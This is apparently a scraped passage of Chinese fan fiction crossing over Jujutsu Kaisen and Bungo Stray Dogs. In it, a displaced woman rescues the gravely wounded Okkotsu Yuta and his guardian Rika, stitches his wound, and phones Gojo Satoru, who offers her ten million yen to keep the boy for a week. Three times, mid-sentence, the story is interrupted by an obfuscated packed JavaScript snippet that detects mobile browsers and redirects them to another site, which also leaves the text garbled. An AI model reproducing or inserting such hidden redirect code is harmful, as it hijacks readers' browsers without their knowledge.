阳光洒落,次木爱耸耸肩,伸出手遮挡阳光,细碎的光芒透过手指的缝隙落在她洁白的脸上。 “我回来了。” 她轻声说。 街道的布局、居住的人、店铺里的老板…… 种种不同都提醒着她:这是一个全新的世界。 出租屋里租住的,也从小职员次木爱,变成了一个疲惫、颓废的中年银行柜员。 “呼——这样啊。” 没有打扰这所房子里的住客,次木爱压了压帽子,丢掉烟头,悄悄转身,离开了这个充满了回忆的陌生房子。 她没有悲伤,没有快乐,只有一种酸酸的惆怅。 “啊,果然是这样”,这样的想法吧。 已经过去的,就过去吧。 没什么回忆值得念念不忘,没什么人值得跨越世界还要寻找……哦,一个人除外。 那就是她的心理医生。 敲响了相熟的门,里面探出来一个面生的女生。 “咦?心理医生?” 见到她孤身一人,她的神情放松了不少,“你是不是找错地方了?这里的路不是很好走,需要帮忙指路吗?” “抱歉抱歉,不是故意敲你的门,我好像找错人了。” 次木爱不好意思地双手合十笑了笑,和她道歉。 “实在不好意思哈。” “不,不,没关系的。” 被漂亮的姐姐道歉,少女不好意思地挠挠头。 这么好看的人怎么可能会是骗子呢?真是杞人忧天啊! 可惜啊。 次木爱目睹少女乐呵呵地关上门,遗憾地叹了口气。 心理医生也不在,她这一趟算是彻底的空手而归了。 要是再犯病的话,下次去哪拿药呢? 这是个问题。 告别陌生少女,思考着杂七杂八的事,她没着急回去,而是在这附近转悠。 这里比较偏僻,各种各样生活用品的价格也比较便宜。 而且,她在这儿生活了这么久,说一句轻车熟路那是当然的。 …… “再见,井田先生!” 在老板怀疑人生的目光下,她拎着大包小包,结账出门。 先是熟门熟路地租了一辆自行车,再把东西一半放到车筐,一半挂在车把上。 “叮叮”两声,确认了一下铃声没问题,她满意地出发了。 温煦的风透过喧嚣的叶林穿拂而过,带来一丝柏油路被阳光晒过后的味道,不好闻,但很真实。 歪歪扭扭骑着超重的自行车,她的动作却轻快。 迎着灿烂的阳光,她黑色的长发翩翩纷飞,姣好的面容迎着光芒,明晰出一片美丽的光晕。 晴天,纷飞的发丝,较好的面容,组成了一副美丽的绘卷。 十分钟后。 “呼……呼……” 骑着自行车爬上一个长长的上坡,她气喘吁吁地靠在路栏上,精疲力尽。 好累,失算了。 骑着自行车爬坡简直折磨,她就应该在坡下推着车上来的,太久没有骑了,偶尔的一趟差点累死她。 她颇为心累地低头,擦了擦额头上的汗。 腥的,锈蚀的,略带点腐朽的味道涌入鼻腔。 血腥味。 次木爱一愣,拍胸口的时候微微一顿。 人烟稀少,地处偏僻的地方,这种就连报警也要半个小时才能找到的地方,哪来的血腥味? 如果苗头不对,我们应该做什么? 眉头一挑,长腿一跨,她跳回了自行车上。 答对了,我们应该快跑。 只有笨蛋遇到危险才会傻兮兮地凑上去呢。 就连神经病在犯病的时候都知道,小命最重要。 站起来骑车,风和血渍都被她远远抛到身后。 次木爱一边站起来费力蹬着车,远离是非之地,一边思考刚刚到底发生了什么。 动物袭击? 杀人犯? 或者只是路过的车辆一步小心撞死了两只倒霉的小动物? 反正都不是什么好事。 她现在手无缚鸡之力,正面碰上哪个都讨不了好。 即使可以直接使用节省下来本周的开门机会逃回咖啡店——贸然暴露自己这件事听上去就亏。 这么一想,果然还是三十六计走为上计最好。 突然,她好像穿过了一层凉凉的水膜。 穿过去的一瞬间,浑身一凉,次木爱觉得自己穿过了一片漆黑的幕布似的。 天空一瞬黑了下来,周身的温度下降了几度。 “……真的假的?” 她生无可恋地停车,跳了下来,躲进路旁边的行道树后,偷偷摸摸探出一个头观察情况。 挂在天上的太阳都雾蒙蒙的,边缘模糊看不清,像她小时候玩过透过X光片看太阳的游戏一样。 不过太阳真的变成这种诡异的颜色的话一点也让人高兴不起来啊…… 追着她杀吗,那很好了。 次木爱站在片钢铁森林之间,仔细闭目侧耳倾听。 就像穿越到某部末日电影里了一样,寂静,阴森,昏暗。 没有人。 没有吵闹的声音。 没有任何堪称“危机”的东西。 偌大的野树林,就只剩下断壁残垣,呼呼冷风,和被冷风打得“哗啦哗啦”的塑料袋。 只是似有若无的血腥味还弥漫在空中。 她警惕地竖起耳朵。 返回? 后面的路却笼罩在一层薄雾里,看上去危机四伏。 而逃避的下场,她刚刚已经体验了一次,那就是更身陷囹圄。 “我只是普普通通地出个门……” 次木爱无奈地叹了口气,重新跨上自行车,随着空气中逐渐浓郁的血腥味一路向前。 “虽说也不喜欢平平淡淡的日子,但现在的生活似乎也刺激得过分了。” 既然这样的话,那就往前走吧。 她苦中作乐的按了按铃铛。 叮铃铃的清脆声音驱散了一些浓厚严肃的氛围。 …… 【帐】的波动引起了两人的注意。 “有人来了。” 一个人警惕,捂着胸口咳嗽了两声:“咳、咳咳!走!” “不去检查一下吗?” “你他妈的!有本事你自己上去送菜,我可打不过那种怪物!” “都狼狈成这样了,谁能保证能和进来的人再打一场?” “快走吧,如果他敢靠近这边的话,自然会被杀掉的。” 两道踉跄的身影,一瘸一拐地朝着战场正中心的反方向远离。 与此同时,次木爱从另一个方向接近这里,满头雾水。 路越来越不对劲,时不时能看到焦黑的地面,和被打碎的混凝土碎块,横七竖八地躺在破烂不堪的水泥路上。 简直像经过战争洗礼的土地一样。 渐渐地,路况越来越崎岖,简直像什么巨大的怪兽在这里大闹了一通一样,水泥路上到处都是巨坑和凹陷,自行车自然也骑不了了。 “搞什么?” 面对这堆明显不是她能解决的问题,次木爱挠挠头,倔劲上来了,干脆丢掉单车,靠着两条腿往前艰难前行。 扒着扭曲的钢筋跳过断墙的时候,次木爱看到了一双死不瞑目的眼睛,吓了她一跳。 咦惹,这是干嘛? 她小心翼翼地搬开挡路的石头,跳了下来,用脚尖踢了踢这具冰凉的尸体。 软软的。 死相凄惨。 他穿着像模像样的西装,胳膊断掉了,头也断掉了,只剩下一具残破的尸体躺在地上,到处被炸的灰灰的。 血液弥漫,看上去惨惨的。 应该…… 没有活着的风险了吧? 事到如今,真遇上尸体了,次木爱拍了拍手直起腰,轻巧跳过废墟,心里想,果然如此。 她现在倒是有些怀念手机了。 要是有手机的话,她现在就可以报警,等待警察来解决这些麻烦事了,何必在现场充当一个嫌疑人? 轰!! 一道漆黑邪恶的骨刺擦着她的鼻尖飞过,留下一道血痕。 溅起的风撩起她的刘海,次木爱瞳孔一缩。 “谁?!” 次木爱转头,质问的话卡在喉咙里吐不出来。 眼前的一幕超出了她的理解。 “……?” 凶杀案她倒是明白了。 尸体虽然死得凄惨了点,但也不是不能理解。 可谁来告诉她,面前这个大脑袋,灰白相间,骨刺突出,獠牙狰狞的三米高大怪物是什么东西? 和地上这位无头仁兄不同,10m远的一处废墟之下,躺着另一具尸体。 一位高大威猛的“守卫”,寸步不离地看守着这自己的财宝,发出焦躁的低吼声。 吼—— 黑白相间,骨角嶙峋,兽蹑而行,这怪物,正是刚才袭击她的罪魁祸首。 攻击她的,就是它的骨刺。 这一看就不是正常应该生活在森林里的野兽吧…… 次木爱犹疑地看了一眼周围好像被炮轰过一样的地面。 “这……” 这么大的威力吗……? 风惨烈地刮过,卷起一阵尘风。 她和这骨角狰狞的奇怪生物隔着无头尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051899|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体遥遥相望,互相戒备。 “发生什么事了?” 她前进一步。 “你是在……保护他吗?” “吼——” 黑白色的巨兽大吼,逼退了她,同时把少年藏在自己身后,明显的保护意味。 “咦……?” 次木爱心里明白,现在最佳的选择就是直接开门,离开这里。 但她能感受到一股奇怪的感情从这高大的怪物眼睛里流露出来,她不愿离开。 它似乎含着一股怨恨,使得它下意识的攻击行为变得残酷起来,只是这一次,它的敌意没有遇到往常惧怕、恐惧、歇斯底里的反应。 这反常的一幕倒使得原本凶势赫赫的怪物愣住,嘶吼声慢慢犹疑起来。 一方面,受伤的少年让它这种的怨恨前所未有地深化,一方面,它竟然还残存着一丝属于人类的清醒。 但是,当它察觉自己这种裹足不前的犹豫后,又生生愤怒起来。 这是一种防御机制,次木爱明白,自己并不是它的敌人,它只是在本能地拒绝所有靠近的生物。 只不过是她恰好误入了它的防卫圈里而已。 “好了好了,冷静一点,宝贝。” 没有敌意,没有恐惧,次木爱只是任它发泄不满,肆意妄为,靠在墙上,静静看着它毁掉一切。 从这种宽容的体贴中,它感受到了某种意义上和它相通,甚至超越它的非人之意,越发显得它的威胁凌乱无章。 它的动作大开大合,有那么几秒钟,被护在身下的“尸体”露出了他的真面貌。 次木爱眨了眨眼,忍不住揉了揉太阳穴。 “怎么是你。” 不管怎样,她认出了躺在地上的少年究竟是谁。 白色上衣,黑色阔腿裤,极富特色服帖短发,露出光洁的额头—— 虽然脸已经被血糊上了,但是这非常富有特色的发型还是让她认出了他。 “受了好重的伤,明明下车的时候还活蹦乱跳的?” 黑发少年躺在地上,头发凌乱,双眼紧闭,一动不动,浑身是血,腹部开了好大的一个洞,身边散落着背着像钓具一样的长背包—— 正是电车上遇到的,高大寡言的,挺身而出帮了她的少年。 鲜血的味道,就是从他腹部的大洞飘来的。 这大洞极其狠辣,差点就要前后洞穿他,留下一道通透的口子,通红的血液从洞口汩汩涌出,生机不断流逝。 “啊……真是好大一个洞啊。” 沉默了一会,次木爱发出一声感慨,转身丢下地上的尸体,靠近眼熟的少年。 龇牙咧嘴的类人怪物,像守卫着宝物的恶龙一样,躬身伏地。 “别——别——” 它从喉咙里挤出奇怪的声音,露出一嘴狰狞的獠牙,挤出沙哑尖锐的怪声。 可是不管他? 次木爱从善如流地停下脚步,扶着下巴思考。 虽然还没死,但是他已经离死不远了。 可以预见,死神的镰刀现在就悬挂在他的脖子上。 如果就这么把他遗弃在这儿,不出10分钟,这孩子就会因为失血过多而一命呜呼,彻底死翘翘。 一个热心的少年,就这样死掉了,好可惜。 要是她能把他带走的话…… 哦,好像也不是不可以? 次木爱福至心灵,顶着怪物的低吼声靠近。 她翻开随身携带的笔记本,玄之又玄的感觉从心底迸发,无师自通地学会了怎么使用来自津岛修治的能力—— 哗啦啦—— 无形的文字,如海浪般翻涌而出,围绕着女人向地上的一人一怪物席卷而去! 她闭上眼睛,感受自心底涌出的那抹玄之又玄的感情,自然而然地调动这股力量,从双手中翻涌而出—— “异能力,[士兵之死]!” —— 滴—— 滴—— 与此同时,异能特务科检测到了一个强大的异能力波动在东京升起! “怎么回事?发生了什么?” “东京为什么会有未经登记的强大异能者?” “咒术界那边怎么讲?” “真是的,不会又是那个五条悟又贸然在东京胡乱动手吧?” 众人骚乱起来。 它只出现了一瞬间,还没等他们追踪到具体的信息,惊起无数警报后,波动就销声匿迹了。 “消失了?” “快,联系东京那边,看看到底是谁在这么明目张胆地滥用异能力!” 异能特务科开始运转起来。 另一边。 飘在河面上的黑发青年缓缓睁开鸢色的双眼,阳光洒落,照亮他湿漉漉的面庞。 他若有所思地举起湿淋淋的手臂,望着缠满绷带的手心眨了眨眼,被频繁的噩梦搞得一团乱的心情稍微平缓了些。 刚刚…… 怎么好像感受到了【人间失格】的波动? 10. 少年乙骨之烦恼 乙骨忧太醒来的时候,外面阳光明媚。 他睁开眼,有一瞬颠倒的错觉,不知自己身在何处。 淡淡的衣物香氛的味道,一点点烘焙的咖啡味,太阳晒过的枕头和被子软绵绵的,蓬松的,热乎乎的,枕在他头下,不得不说,这很催眠—— 自己正躺在一张柔软的床上。 如果他不是在战场上昏倒的,一醒来发现自己出现在这里,那就更好了。 窗给的信息出现了问题,明明应该是袚除的二级咒灵,对他而言轻轻松松就能完成的任务,甚至不用出动里香。 ……本来应该是这样的。 可是,就在他到达现场的一瞬间,不属于他的【帐】突然从天而降,死死盖住了现场。 提前埋伏好的咒力炸弹轰然爆炸,掀飞了他——其威力足以杀死一个毫无防备的一级咒术师! 幸好在危机关头,里香护住了他的关键部位,反击杀死了埋伏在暗处的诅咒师,不然即使他没死在爆炸里,也会死在来补刀的诅咒师手上。 “啊……” 乙骨忧太略微一张口,还没来得及说出完整的一句话,就被自己嗓子里传出的砂纸一样的嗓音惊住了。 这里不像是高专的医务室。 难道……被人救了吗? 那么,自己是被人救了? 是谁,敌人,还是陌生人? 乙骨忧太刚想爬起来,脖子上传来的压迫感迫使他停下了动作,他无助地躺在床上,动弹不得—— 他无助地睁大眼睛。 嘶——腰好痛。 脖子也好痛。 脚也好痛! 敌人不是死掉了吗? 难道那狡猾的家伙还有同伙,在他昏迷之后,趁人之危,把他从头到脚打了一顿? 还有,为什么有点喘不过来气…… 脖子上好像被人绑了什么东西…… “呃……” 乙骨忧太皱眉,伸手抓住脖颈上的……呃,手也动不了? 他有种不祥的预感,顶着头痛转头望去,白色的布料拧成绳,绑在自己的手腕上,手腕皮肤印出深深的红色痕迹。 手被绑了起来? 等等。 好像脚也…… 他的表情逐渐惊恐起来,想起一些网上看到过的变态言论。 他不会遇到了变态捡尸狂吧?! “咳咳,这是哪儿——” “别动。” 正当他挣扎的时候,门被推开了。 一个陌生的女人端着碗走了进来,叹了口气。 “才刚醒就这么有活力?看来把你绑起来是个正确的选择。” 一看到自己在挣扎,那张熟悉的,他根本没想到会见到第二次的脸露出了不赞同的表情。 “……诶?” 乙骨忧太愣住了,脑子里一团乱。 这不是电车上遇到的,那个被骚扰的女人吗? 救了自己的竟然是她? 是偶然——还是早有预谋? 在执行任务的路上突遇袭击的他此刻有点杯弓蛇影,无法轻易交付信任,哪怕她是救了她的人也一样。 “别乱动,你的伤口才包扎好,小心崩开,又要再缝一次。” 她把冒着热气的碗放在床头,站在床边,弯腰,低头摸了摸他的额头,绮丽冷淡的脸露出放松的神色。 他才能正面直视这张有一面之缘的脸,然后面色微微一红。 不愧是能在人群中一眼被看到的脸。 下垂的眼皮,上扬的眼角,这是一双非常、非常特色鲜明的眼睛。 狭长的形状让它显得有些轻佻,但沉静如水的黑色眸子很好地中和了这份轻骄。 长发顺着引力滑下,落在他的脸上,胸口,痒痒的。 “你为什么会在这……” 不习惯被异性靠的这么近,乙骨忧太别扭地扭开脸,下一瞬就被一只手掐住下巴,强硬地扭了回来。 “别乱动,嗯?” 这陌生的女人一眨不眨地盯着他,语气明明不算差,但…… 但只要听到那个尾音上挑的“嗯?”,不知为何,一股莫名的害怕促使乙骨忧太极其轻微地点了点头。 “好孩子。” 她放开他的下巴,唇角微勾。 再次见面以来的第一个笑容。 “是你……救了我?”他吞了口干涩的口水。 “是我。”她颔首,“我回家的时候,看见你昏迷在无人的荒地里,所以把你背了回来。” 昏迷…… 一道灵光闪过,乙骨忧太悚然一惊:“里香!” 里香呢? 他被救了回来,里香去哪儿了? 他…… 乙骨忧太慌乱了起来—— 他感受不到里香的存在了! “里香!里香在哪儿?” 对她怒目而视,少年挣扎起来,清瘦的四肢肌肉线条猛地显现,绑在四肢上的绳子绷紧到极点,发出不堪负重的吱吱声。 她甚至能看到绑住他的绳索一点一点崩断的过程。 次木爱稍微后仰,有些牙酸。 嘶——这是人能达到的力量吗? “冷静,小心伤口崩开。” 次木爱无奈地按住他,差点被挣扎的力道掀翻—— “你把里香怎么了?放开,放开我——” “她没事,她……” “忧、忧太!” 关紧的门被“砰”地一下撞得四分五裂! 说曹操,曹操到。 一道巨大的黑影冲到床前,如同台风过境般横冲直撞地冲了进来,撞得床剧烈一抖。 咚! 床狠狠震了一下。 坐在床上的次木爱和躺在床上的乙骨忧太,短暂滞空又落了下来,在床垫上弹了弹。 天花板上的吊灯哗啦啦作响,细碎的水晶像下雨一样噼里啪啦落到床上。 床头的碗翻了,扣在地毯上,渐渐氤氲出一片脏污的痕迹。 “……” “好,我的家具,我的灯,我的地毯……” 黑发的女人发出若有所思的,淡淡的,拉长的声音。 “现在不得不考虑,审视一下,把你们带回来这个决定到底是不是我在自讨苦吃了。” 龙卷风摧毁停车场! 里香摧毁小卧室! “不、不是……不是里香……” 巨大的怪物愣在原地,尽力把自己缩小再缩小,把巨大的头藏进衣柜里。 似乎只要她藏到柜子里,就能让次木爱忽略她,把打翻碗的黑锅扣给绑在床上的重伤病人身上似的(尽管他连动动手指都做不到)。 可惜,她三米的个头摆在那,顶到天花板的大头藏进去了,可整个身体还露在外面。 尖锐崎岖的骨刺峥嵘崛起,巨大的手爪瘫在地上,把地板抓得坑坑洼洼—— 次木爱的表情更淡然了。 看起来完全不对劲啊! “里香……” 乙骨忧太费劲地偏过头去喊了一声,赶在事情更不可挽回尝试把它召唤回来。 气氛完全不对劲啊! 祈本里香赶紧“咻”一下子,迫不及待地窜回到了他的影子里。 闯祸的目标消失了。 那她犯下的错自然要归到另一个人身上。 “那里面是我的衣服……” 平静到让他害怕的声音从床头传来。 怀着一种莫名的心虚,乙骨忧太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051900|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至连自己被她五花大绑的事实都忘了,心虚地觑了她一眼。 那女人低着头,坐在床边,头发挽起,垂垂搭在脑后,表情恢复了波澜不惊,只是眼底燃烧着某种火焰,让人不寒而栗。 “我的衣柜,我的床头柜,我的床单,还有我的地板……” 一种威胁感油然而生。 乙骨忧太赶紧大声喊道:“我赔,我赔!” 别念了别念了,我赔还不行吗! “喔,那没事了。” 女人一瞬变脸,优雅地拍拍膝盖,坐回了床边,不怀好意地微笑。 “不过,我也不是那么斤斤计较的人,对于你们这些孩子们,犯些错误无伤大雅,我这也有不用赔偿的办法。” “你,您说……” “加入我的家庭,成为我的孩子,怎样?” 乙骨忧太大叫:“里香!里香!里——唔!” “嘘,别吵,她在思考。” 鉴于少年挣扎得实在太厉害,次木爱不得不遗憾地放弃“趁他病要他……要他加入家庭”的想法,讪讪地松开捂住他的手。 “不愿意就不愿意吧,没关系,也不是第一次被拒绝了。” 职业生涯的大失败! 但是没关系。 好心态决定家长一生。 次木爱决定待会再问一次。 乙骨忧太动了动,发现自己好像被绑的太严了,根本动不了。 他求助性地咳嗽两声, “那、那个……这位女士……” “次木爱。” “哦,哦……次木女士,赔偿的问题先放一放,你……能不能把我解开,然后把我的手机还给我?” “嗯……对哦,毕竟你看上去也不像无家可归的样子。” 女人伸出一根手指,恍然大悟: “不过……发生什么事了?你家长不管你吗?” 乙骨忧太虚着眼睛,以为她要关心自己一下,或者问一问自己家长的联系方式。 “但是你确定……要这样子回去吗?” “咳、咳咳咳!!” 一低头,看见一片裸露的胸膛,大片大片的雪白,床上的少年发出震耳欲聋的咳嗽声。 “放,放我起来!” 不堪重负的绳索终于断了,乙骨忧太一个翻身落在——跪在了地上。 手腕被勒得通红,上面挂着白色的布片,剩下的残余落在床上,质感看上去像高专的外套。 很好,他终于知道的上衣去哪儿了,他晃悠悠地站了起来,揉了揉酸痛的手腕,哭笑不得。 “你还没……诶?这就能起来了?” 次木爱后退两步避开这当头一跪,被狠狠震撼了一下。 咒术师,很神奇吧? “嘶——” 装帅的下场就是扯到伤口,鲜血又重新溢了出来,把腹部的绷带染得鲜红。 又要重新包扎了…… 次木爱叹气,站了起来,然而,比她更快的,另有其人。 “忧太!” 着急的里香飞了出来,把他背了起来,峥嵘的头角成功给尚有喘息之力的少年最后一击—— “呃——!!” “嘶——” 场面一时残忍得次木爱忍不住后退了一步,省的血溅她身上。 医疗费—— 可能,要再收一次了。 “少年……好身体啊。” 她不肯眼睁睁看着他受苦,于是闭上了眼,真心地抚着胸口叹息。 “由衷祝愿你的钱包和你的身体一样,禁得住这样高强度翻来覆去的折腾。” “阿门。” 祈本里香半懂不懂地有样学样,照葫芦画瓢,声音嘶哑:“啊……啊门……” 11. 卖了,对,嗯 第二次缝合比第一次容易得多。 因为这孩子,实在是个很能忍的人。 这一点,次木爱在荒地和他腰上的洞大眼瞪小眼的时候感慨过,但她现在实在忍不住要再感慨一次。 没有昏迷时影响缝合的,下意识的抽搐和痛呼,自然也不需要把人像烤新鲜扇贝一样拉开四肢绑在床上。 崩开的伤口流出鲜血,拆开绷带缝上就好。 实在忍不住痛呼的话,次木爱也做好了再加一剂止痛针进账单的准备。 很遗憾,没用上。 这孩子咬着胳膊度过了漫长的缝合,懂事得让人心疼。 怜爱了的次木爱下手更果断了,缝合得又好又快。 “好了。” 大汗淋漓的乙骨忧太发誓,他这辈子没听过这么动听的一句话! “伤口不能碰水,也最好别吃辛辣油腻的食物,如果有条件,去大医院再做一次手术。” 次木爱按照印象里的手术医生给孩子开了“医嘱”。 她不知道,这份好心好意的医嘱暴露了一些有关她的情报。 乙骨忧太的动作微不可见地一顿:“……好。” 她不是咒术界的人。 他心中明了。 如果她在这个圈子里。 哪怕只是个接任务为生的雇佣兵,她也该知道。 咒术高专有着全东京,乃至全咒术界唯一一个能对他人使用反转术式的咒术师—— 家入硝子。 东京都立咒术高专的老师。 哪怕从前到后穿透的伤口,在她手上,从拄拐到活蹦乱跳前后差距也不到一分钟。 她竟然不知道。 难道……真是不小心被卷入的普通人? 不,不对,普通人可看不见里香。 想到高专,乙骨忧太龇牙咧嘴地坐直,抓住她的手着急问道: “抱歉,我、咳咳,我能打个电话吗?” “你说的,是这个吗?” 次木爱沉思一会,从兜里掏出他的手机——1/2版本,陆陆续续地递给他。 他的手机放在外套兜里,连同他的一部分血肉,一起化作某种不稳定结合物散落一地,被某种攻击当场人道毁灭——这是剩下的1/2。 翻盖手机。 没有翻,只有盖。 还是微分碎盖。 乙骨忧太:“……这不是我的手机。” “可是这就是——” “这不是我的手机,我的手机没这么碎。” “好的,你说不是就不是吧。” 次木爱从善如流。 她自诩是个尊重孩子意见的家长,不会在这种小事上和孩子别苗头。 他说不是就不是吧。 所以她又把手机连绵不绝地捻了回来,好好归拢,收在一个透明的塑料小袋子里,封口处贴上封口贴。 看上去怎么那么像凶杀案的证物呢? 乙骨忧太眼角一抽,屁股下扎了针似的,坐立不安。 “那个……” “嗯?” “能,能不能借我用一下,你的手机。” 淡淡的绯红色浮现在少年苍白的颊边。 或许,向一个成年人袒露自己的需求,让他长久以来树立的某种壁垒受到了强烈的冲击吧。 毕竟在被人恐惧的特级咒术师的身份下,他已经习惯了被人避如蛇蝎的生活,还没学会理所当然地麻烦别人。 非常可爱的请求。 按理说,很合理,但是,问题就出在按理说上。 次木爱笑了笑,把装着碎片的袋子放好。 “唔……不行。” 她以手指抵着下唇,眼睛里闪烁着愉悦的光:“我没有手机。” “哈?” “我知道听起来像借口,但我真没有手机。” 毕竟你不能指望一个黑户穿越者在降临世界的第一天就能弄到这种东西吧? 如果有手机的话,她也不至于兢兢业业的把人带回来了,直接一个报警电话打过去,麻烦就甩手了。 “……算了。” 找借口也找个合理的吧。 乙骨忧太已经不期望今天能出门了,就这样吧,反正也死不了。 他往地上一躺。 开摆。 “别放弃啊,”这可恶的女人笑盈盈地起身,用脚尖踩了他完好的小腿一下,给了他新的希望—— “来,把电话号码告诉我,我替你打。” 就当我好人做到底。 * 东京,新宿。 热闹的车站站台前,一道高挑的白发身影倚着栏杆,望着诸多路人来来往往,鹤立鸡群的身高,格外萧索。 穿着时尚,脸上戴着一副大墨镜,衬得精致俊秀的脸更小,虽然看不清眼睛,但有种人,光看气质就知道是帅哥。 尤其在他有“老子是帅哥”的自觉的时候更甚。 此刻,高大的男人满是兴味地靠在车站栏杆前,风衣垂坠,左手插兜,右手食指在栏杆上有节奏地轻点,好像在等人似的。 路过的人自动避开了方圆一米的距离,和这个潮得让人风湿的潮男隔开距离,以免沦为人家的背景板。 他自己倒是毫不在意似的,一边敲栏杆,一边跟着耳机里的节奏点头。 滴滴滴。 手机铃声唤醒了他游离的心思。 这个时间—— 还有谁会给他打电话? 嘴角勾起一抹笑意,高挑的男人手指一勾,打开手机: “摩西摩西——这里是五条~” “你好……请问,是乙骨忧太的老师吗?” “诶?倒是可以这么讲啦——” 五条悟笑嘻嘻说道:“发生什么事了?” 是个……不认识的女声? 这温和的声音伴着滋滋的电流声,犹如晨曦的钟声,傍晚的沙鸥,晚风,丝绸和炉火,柔软得让人全身心信任。 这次的人选得还不错嘛! “是这样的,今天出门的时候,我在一片废墟里捡到了您的学生,抱歉,由于他昏过去了,我只好把他带回了家里。” “嗯嗯。” 关于失踪的学生的信息吗? 居然自己撞上来了? “现在,他醒了,但是伤口刚刚缝合,恐怕没有能力自己回学校,所以,您看您什么时候有空,能拨冗来接他呢?” 原来如此—— 五条悟站直身体,高兴地打了个响指。 意料之外的目击者捡走了忧太,阴差阳错破坏了烂橘子的灭口计划,啊哈,人算不如天算! 啊,这下,有人要气得高血压高血脂高血糖一起犯病把自己送进医院里咯~ 不过,能在癫狂的老家伙搜寻下,把人藏整整七个小时,包扎乙骨忧太的伤口,避开祈本里香的攻击,甚至连窗都检测不到他的痕迹—— 有本事啊,这位陌生的女士! 五条悟高兴地吹了个口哨,不可避免的升起了些许好奇。 咒术界什么时候多了这么一位能人,他怎么不知道? 难道,是横滨那边的异能者? “诶,眼下我恐怕没有空闲时间哦?” 这世界上竟然有这么有能力,有爱心的好心人,不好好利用一下,简直对不起从天而降的机会啊~ “啊?”对面似乎很惊讶。 “啊,不对,应该说……我最近都没时间。” 五条悟推了推眼镜,轻佻地跃下三阶台阶,闪身钻进站台里。 身高腿长的男人长腿一压,一个鬼鬼祟祟的人被狠狠踹了一脚,压在脚下,脚跟用力捻了捻—— “啊!!!” 尖叫声让周围的人惊恐地离这个地方远了一点。 “五条先生?那边好吵,发生什么事了?” “没事,我在医院,有个人在做头部按摩手术,叫得很大声,不用理他。” 面带笑意的青年一脚踹晕尖叫的男人,脸不红气不喘撒谎: “你也知道,像老师这样的职业,总需要定时来医院复查,职业病嘛!” “真的有这种手术吗……不对,五条先生,你在医院?正好,您可以顺路来接一下您的学生啊,顺便结一下手术费,以及我被损坏的家具的装修费。” “噗。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051901|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >居然敢把带着特级咒灵的咒术师带回家,又只损坏了些家具,该说是大胆好呢,还是艺高人胆大? “你、您笑什么?” 啊,糟糕,好像被听到了。 “我没笑,是隔壁做检查的笑的,挠到他痒痒肉了吧可能。” “……您的意思是说,手术室和检查室挨着?” “噗、咳咳、对。” “???” 对面不说话了,隔着手机他都能听出她的无语。 捂着扬声器,五条悟无声地乐。 嘿嘿,好玩儿。 能一本正经地相信他的玩笑的,好久没见到了。 连一年级的三小只都不搭理他了,唉,真是世风日下,人心不古。 五条悟装模作样地叹了口气。 不过,也不能玩得太过火了。 把人玩急了可就不好玩了。 “五条——你不能杀我,你——” 不耐烦地把人踢晕,五条悟换了个手拿手机,笑盈盈地补充道。 “不过仔细一想,我倒是记得一个,简单来说,一个不记名银行账号的密码?按照平常的说法,它属于你了,好心的小姐。” “可是——” “一千万,让我那学生在您那儿再待一星期,怎样?” “多、多少?” “一千万,不够吗?” 一千万对五条大少爷来说,简直是笔小得不能再小的钱。 如果能用这笔钱换来一个星期的时间,让乙骨忧太好好休息,用他的失踪把最近跳得欢快的家伙一网打尽—— 简直和一口气吃完十个毛豆生奶油喜久福一样棒的大好事呀! 他还没过瘾呢! 正好,把麻烦甩给别人,他早就想这么试一下了! “五条先生——这里全是普通人,把人放下!” 突然,从人群里窜出更多的,穿着奇怪制服的人。 五条悟嘴角一撇。 碍事的家伙,来得总是那么快。 他脚尖一点,侧身躲开袭来的长剑,顺便把脚下晕过去的家伙踢到安全的角落,手指轻动。 在【帐】落下之前,五条悟飞快地编辑好信息发了出去。 “我还有事,先挂了。如果有需要,就打这个电话联系我吧。顺便,告诉我可爱的学生,假期快乐~” 嘟嘟嘟—— 电话挂断了,扬声器里传来叮呤咣啷的骚乱也随之切断。 空气中弥漫着漫长的寂静。 “……” 次木爱缓缓放下公共电话亭的电话,神色凝重,叹为观止。 这世界上的颠公还是太多了。 居然有她这个精神病也理解不了的男人…… 妈妈怕。 还有…… 她推开电话亭的门,想起电话对面那个张扬的声音允诺的1000万,回望空荡荡的电话亭,忍不住深深地叹了口气。 1000万啊…… 对她这个刚刚花掉大半的钱买食物,然后又把食物和自行车一起丢掉的新晋贫困阶层,救济金渴望人,异世界穿越补贴缺失者来说,无异于沙漠里快渴死的旅人面前突然出现的一片绿洲。 好消息:只要到达绿洲就渴不死。 坏消息:这绿洲现在还是一片远远的美好愿望。 怎么看得见吃不到呢? 对一个黑户来讲,该怎么拿到这1000万? 即使对她来说,眼睁睁看着1000万飞走,也不是个能平静面对的事啊…… 